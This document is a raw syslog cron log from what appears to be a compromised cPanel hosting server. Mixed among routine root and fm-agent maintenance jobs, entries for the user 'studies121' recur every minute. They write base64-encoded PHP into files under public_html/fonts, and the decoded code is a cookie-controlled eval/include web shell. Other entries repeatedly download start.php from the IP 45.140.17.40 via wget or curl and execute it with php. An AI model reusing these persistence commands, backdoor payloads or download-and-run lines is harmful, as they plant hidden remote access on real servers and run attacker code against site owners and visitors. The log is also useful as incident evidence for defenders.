Sep  4 16:26:01 ip-184-168-122-23 CROND[20740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:26:01 ip-184-168-122-23 CROND[20739]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:26:01 ip-184-168-122-23 CROND[20742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:26:01 ip-184-168-122-23 CROND[20741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:27:01 ip-184-168-122-23 CROND[20828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:27:01 ip-184-168-122-23 CROND[20829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:27:01 ip-184-168-122-23 CROND[20830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:27:01 ip-184-168-122-23 CROND[20831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:28:01 ip-184-168-122-23 CROND[20915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:28:01 ip-184-168-122-23 CROND[20914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:28:01 ip-184-168-122-23 CROND[20919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:28:01 ip-184-168-122-23 CROND[20917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:28:01 ip-184-168-122-23 CROND[20916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:29:01 ip-184-168-122-23 CROND[21002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:29:01 ip-184-168-122-23 CROND[21001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:29:01 ip-184-168-122-23 CROND[21004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:29:01 ip-184-168-122-23 CROND[21003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:30:01 ip-184-168-122-23 CROND[21101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:30:01 ip-184-168-122-23 CROND[21103]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:30:01 ip-184-168-122-23 CROND[21107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:30:01 ip-184-168-122-23 CROND[21109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:30:01 ip-184-168-122-23 CROND[21106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:30:01 ip-184-168-122-23 CROND[21110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:30:01 ip-184-168-122-23 CROND[21108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:30:01 ip-184-168-122-23 CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:30:01 ip-184-168-122-23 CROND[21104]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  4 16:31:01 ip-184-168-122-23 CROND[21224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:31:01 ip-184-168-122-23 CROND[21225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:31:01 ip-184-168-122-23 CROND[21226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:31:01 ip-184-168-122-23 CROND[21228]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 16:31:01 ip-184-168-122-23 CROND[21227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:32:01 ip-184-168-122-23 CROND[21310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:32:01 ip-184-168-122-23 CROND[21311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:32:01 ip-184-168-122-23 CROND[21313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:32:01 ip-184-168-122-23 CROND[21316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:32:01 ip-184-168-122-23 CROND[21314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:33:01 ip-184-168-122-23 CROND[21429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:33:01 ip-184-168-122-23 CROND[21430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:33:01 ip-184-168-122-23 CROND[21432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:33:01 ip-184-168-122-23 CROND[21431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:34:01 ip-184-168-122-23 CROND[21627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:34:01 ip-184-168-122-23 CROND[21630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:34:01 ip-184-168-122-23 CROND[21629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:34:01 ip-184-168-122-23 CROND[21631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:34:01 ip-184-168-122-23 CROND[21632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:35:01 ip-184-168-122-23 CROND[21729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:35:01 ip-184-168-122-23 CROND[21731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:35:01 ip-184-168-122-23 CROND[21733]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 16:35:01 ip-184-168-122-23 CROND[21734]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 16:35:01 ip-184-168-122-23 CROND[21732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:35:01 ip-184-168-122-23 CROND[21737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:35:01 ip-184-168-122-23 CROND[21735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:35:01 ip-184-168-122-23 CROND[21736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:36:01 ip-184-168-122-23 CROND[21833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:36:01 ip-184-168-122-23 CROND[21834]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:36:01 ip-184-168-122-23 CROND[21832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:36:01 ip-184-168-122-23 CROND[21835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:36:01 ip-184-168-122-23 CROND[21836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:37:01 ip-184-168-122-23 CROND[21929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:37:01 ip-184-168-122-23 CROND[21928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:37:01 ip-184-168-122-23 CROND[21930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:37:01 ip-184-168-122-23 CROND[21931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:38:01 ip-184-168-122-23 CROND[22019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:38:01 ip-184-168-122-23 CROND[22020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:38:01 ip-184-168-122-23 CROND[22025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
